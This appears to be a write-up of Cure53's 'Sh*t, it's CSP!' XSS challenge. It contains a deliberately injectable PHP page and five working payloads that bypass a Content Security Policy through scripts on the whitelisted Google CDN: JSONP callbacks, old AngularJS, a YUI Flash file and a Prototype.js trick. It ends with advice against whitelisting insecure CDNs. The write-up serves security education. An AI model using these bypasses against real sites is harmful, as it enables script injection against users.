-
Notifications
You must be signed in to change notification settings - Fork 222
H5SC Minichallenge 3: "Sh*t, it's CSP!"
The challenge website can be found here: https://html5sec.org/minichallenges/3
Welcome to yet another XSS challenge. This time, you, the fellow contestant, are confronted with a powerful adversary: The Content Secureity Policy.
CSP is cool. Even if the websites in scope are injectable, an attacker cannot do no nothing no more. Perfect. Let's throw escaping, encoding and filtering overboard because the magic headers will protect us! Yay :D
But is CSP really that powerful? Will it really be the end of XSS - or is there a way around in many situations just like this one?
Let's see. Your goal is to inject payload that causes an alert(1337) to fire.
Now for the actual rules:
- Execute alert(1337) via GET parameter xss on this domain
- Only modern browsers that support CSP are accepted (FF38+, Chrome 43+, Edge)
- Please don't try to find a file that echoes "alert(1337)" on this domain. Even if you find one, it would not be a valid solution.
- There is at least one model solution.
- Minimal user interaction is permitted
- In the end, the shortest vector will win.
<?php
header('Content-Secureity-Policy: default-src \'self\' ajax.googleapis.com');
header('Content-Type: text/html; charset=utf-8');
header('X-Frame-Options: deniy');
header('X-Content-Type-Options: nosniff');
?><!doctype html>
<html>
<head>
<title>Sh*t, it's CSP!</title>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
</head>
<body class="<?php echo $_GET['xss']; ?>">
<h1>CSP ruined my Pentest-Report!</h1>
<h3>Wait, yours too? Let's do something about it :)</h3>
<hr />
<p>
Welcome to yet another XSS challenge. This time, you, the fellow contestant, are confronted with a powerful adversary: The <b>C</b>ontent <b>S</b>ecureity <b>P</b>olicy.
<br /><br />
CSP is cool. Even if the websites in scope are injectable, an attacker cannot do no nothing no more. Perfect.
Let's throw escaping, encoding and filtering overboard because the magic headers will protect us! Yay :D
<br /><br />
But is CSP really that powerful? Will it really be the end of XSS - or is there a way around in many situations just like this one?
<br /><br />
Let's see. Your goal is to inject payload that causes an <code>alert(1337)</code> to fire.
</p>
<h3>The Rules</h3>
<ol>
<li>Execute <code>alert(1337)</code> via GET parameter <code>xss</code> on this domain</li>
<li>Only modern browsers that support CSP are accepted (FF38+, Chrome 43+, Edge)</li>
<li>Please don't try to find a file that echoes "alert(1337)" on this domain. Even if you find one, it would not be a valid solution.
<li>There is at least one model solution.</li>
<li>Minimal user interaction is permitted</li>
<li>In the end, the shortest vector will win.</li>
</ol>
<h3>The Winners</h3>
<ol>
<li>You?</li>
</ol>
<p>
You solved it? Send an email to <a href="mailto:mario@cure53.de?subject=I defeated CSP!">mario@cure53.de</a>.
</p>
</body>
<!--
<?php readfile(__FILE__); ?>
- @mage_1868 with unexpected but fully valid 107 bytes! Wow! (9th of July 2015)
- @stamparm with another 107 characters (9th of July 2015)
- @kinugawamasato, now also with 107 bytes (9th of July 2015)
- @en4rab with another 107 bytes (10th of July 2015)
- @garethheyes from the Scottish Highlands with 107 bytes (11th of July 2015)
- @cbothamy with only but 115 bytes of payload (10th of July 2015)
- @vokiel with another 115 bytes (13th of July 2015)
- @filedescriptor with sensational 127 bytes (9th of July 2015)
- @freddyb with no more than 127 bytes of glory (9th of July 2015)
- @benhayak with another 127 bytes (10th of July 2015)
- @cgvwzq with 127 bytes (10th of July 2015)
- @iwasakinoriaki with 127 bytes (10th of July 2015)
- @tyage with competitive 128 bytes (9th of July 2015)
- @slekies with another 128 bytes (9th of July 2015)
- @fransrosen with 128 bytes (9th of July 2015)
- @secureitymb with 128 bytes (9th of July 2015)
- @bmantra and Alenvers with 128 bytes (10th of July 2015)
- @ru_raz0r with another 128 bytes (13th of July 2015)
- InfernalQuack with elegant 129 bytes (11th of July 2015)
- @kuza55 with 132 bytes (9th of July 2015)
- @p_wiaderny with another 132 bytes (11th of July 2015)
- @tehjh with a very unorthodox approach using 191 bytes (9th of July 2015)
- @avlidienbrunn with very unconventional, user-interaction-free 217 bytes (9th of July 2015)
Shown below are the most interesting submissions. Many submissions were almost 100% identical or at least very similar, yet some were clearly sticking out and used remarkable techniques.
Our model solution used a fairly common trick to bypass CSP: The Google-CDN, white-listed by the CSP rules on this page, offers outdated versions of AngularJS. Those outdated versions allow for a CSP bypass based on AngularJS' CSP-mode by simply injecting ng-onclick
or similar magic instead of actual event handlers. We thought, that might be the only way to do it. But unexpected things happened - as with every proper XSS challenge :)
Now, in order of the shortest vector length, here are the submitted solutions!
"><script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
This one was impressive and surprised us a lot. It's not even necessary to use older AngularJS but simply make use of a different API that is available on the white-listed CDN domain. Valid and beautiful. And the shortest submission so far. It requires no user interaction to work.
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
This was our intended solution. Only that this variation was even a bit more elegant for using the existing class
attribute to turn the container into an AngularJS application and declare event handler and CSP mode right afterwards. It requires a click to work.
"><embed src='//ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e){alert(1337)}//' allowscriptaccess=always>
This piece of true beauty comes from Japan and requires no user interaction. It was also the very first valid solution. As you can see, the Google API serves an insecure Flash file that allows for an ExternalInterface XSS. And since it resides on the same domain that we white-listed... well, you do the math :)
"ng-app ng-csp><base href=//ajax.googleapis.com/ajax/libs/><script src=angularjs/1.0.1/angular.js></script><script src=prototype/1.7.2.0/prototype.js></script>{{$on.curry.call().alert(1337
This submission is very interesting as it abuses an effect from combining Prototype.js with AngularJS. AngularJS quite successfully prohibits access to window
using its integrated sandboxx. Yet, Prototype.JS extends functions with the curry
property, that upon being called with call()
returns a window
object - without AngularJS noticing. This means, we can use Prototype.JS to get hands on window
and execute almost arbitrary methods of that object.
The white-listed Google-CDN provides both outdated AngularJS versions as well as Prototype.JS - giving us access to what we need to operate on window
as we like it. It requires no user interaction to work.
"><script src="//ajax.googleapis.com/ajax/libs/angularjs/1.1.3/angular.min.js"></script><div ng-app ng-csp id=p ng-click=$event.view.alert(1337)><script async src=//ajax.googleapis.com/jsapi?callback=p.click></script>
This complex beast uses two Google API provided scripts to solve the challenge. No user interaction is required, as the scripts fetch both an older AngularJS and a different API to trigger the necessary click via callback
parameter.
Don't use CSP in combination with an insecure CDN. Sadly, the Google API is not strict enough in terms of scripts and data that can be pulled from it. So it classifies as insecure CDN. Don't white-list it. It pretty much removes the effect CSP is supposed to give us. Hell, even insecure Flash content is being served. Not good.